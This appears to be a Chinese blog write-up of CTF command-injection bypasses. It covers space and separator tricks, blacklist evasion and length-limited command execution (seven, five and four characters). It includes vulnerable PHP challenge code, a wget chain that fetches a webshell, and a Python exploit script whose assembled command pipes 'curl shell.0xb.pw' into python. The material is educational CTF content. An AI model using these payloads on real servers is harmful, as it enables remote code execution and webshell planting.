ctf命令执行与绕过

(写完之后没保存又要重新再敲一遍,好气)源于lemon师傅,然后又参考了pupile师傅的文章,’偷’点干货来。

空格绕过

< 符号

$IFS$9 符号 ${IFS} 符号
这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,加一个{}就固定了变量名,同理在后面加个$可以起到截断作用。

命令分隔符

%0a 符号
换行符
%0d 符号
回车符
; 符号
表示连续指令
& 符号
表示将前一个命令设置进入后台
| 符号
管道符,将前一个命令的输出作为后一个命令的输入
&& 符号
前一个命令执行成功才会执行下一条命令
|| 符号
前一个命令执行失败才会执行下一条命令

黑名单绕过

a=l;b=s;$a$b

base64编码

短命令执行

这个技巧一开始看到的是p神的七字命令执行,觉得好牛逼。然后最近hitcon的orange出了题五字和四字的,觉得在风中凌乱了…

大体上的想法就是通过重命名文件绕过,然后通过ls来将文件名写入到文件中,

可以看到>这个重定向符号可以来创建文件,其中文件名是>后面跟的参数,然后创建出我们精心构造好的多个文件名,然后通过ls打印出来再重定向>到一个木马文件中,就可以执行了。

拼接方法

讲题目之前先介绍两种拼接方法:

  1. 一个反斜杠\,这种方法是将一次输入分成多出输入,以\换下一次,以p结束。这种方法的话创建的文件名是按照我们的输入正常排列好的,所以我们不需要添加-t来重新排序,如下面的七字绕过实例。
  2. 两个反斜杠\\,这种方法是利用\来拼接字符串,其中前一个\是用来反义后一个\的。这种方法的话需要精心构造输入,利用倒叙来输入,然后ls的时候需要加-t参数来排列一下,如下图以及五字四字绕过,虽然报错了但是也执行成功了。

七字绕过

代码如下:

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

很简单的代码,绕过长度限制就可以执行任意命令,利用代码如下:

1
2
3
4
5
6
7
8
9
1>wget\
>域名.\
>com\
>-O\
>she\
>ll.p\
>p
ls>a
sh a

上面的代码其实是在目标服务器创建个文件名为a的文件,内容为’wget 域名.com -O shell.pp’

代码含义就是去执行我们自己的vps上的一个木马文件

这里有一点特别值得注意的。这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

五字绕过

源代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

观察可得,每个用户的操作目录独立,而且可以执行长度小于等于5的命令,那么不用担心别人文件干扰。
唯一值得注意的是因为长度要小于5,所以我们无法执行ls -t>a
接下来看一下orange的官方wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
from time import sleep
from urllib import quote
payload = [
# generate `ls -t>g` file
'>ls\\',
'ls>_',
'>\ \\',
'>-t\\',
'>\>g',
'ls>>_',
# generate `curl orange.tw.tw>python`
# curl shell.0xb.pw|python
'>on',
'>th\\',
'>py\\',
'>\|\\',
'>pw\\',
'>x.\\',
'>xx\\',
'>l.\\',
'>el\\',
'>sh\\',
'>\ \\',
'>rl\\',
'>cu\\',
# exec
'sh _',
'sh g',
]
r = requests.get('http://xxx/web1.php/?reset=1')
for i in payload:
assert len(i) <= 5
r = requests.get('http://xxx/web1.php/?cmd=' + quote(i) )
print i
sleep(0.2)

注意看

1
2
3
4
5
6
>ls\\
ls>_
>\ \\
>-t\\
>\>g
ls>>_

这几行代码,因为我们提到不能用ls -t>g来排序,所以我们需要用合理的分割方式和预写入来控制写入文件的内容

四字绕过

代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);

这题就是大佬们自己嗨了…最大的问题还是ls -t>g这个问题,所以如果我们构造成ls -th>g,然后逆序分割:

1
2
3
4
dir
sl
g\>
ht-

然后逆序输出到文件

这里就可以看出为什么构造ls -th>g,因为这个时候可以看到目录遍历的时候,ht-跑到了g>后面(大佬就是会牛逼…),这时候完美的构造出了我们需要的命令,后面命令基本不变。

后面如果有别的继续补充吧…

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. 空格绕过
  2. 2. 命令分隔符
  3. 3. 黑名单绕过
  4. 4. 短命令执行
  • 拼接方法
  • 七字绕过
  • 五字绕过
  • 四字绕过
  • ,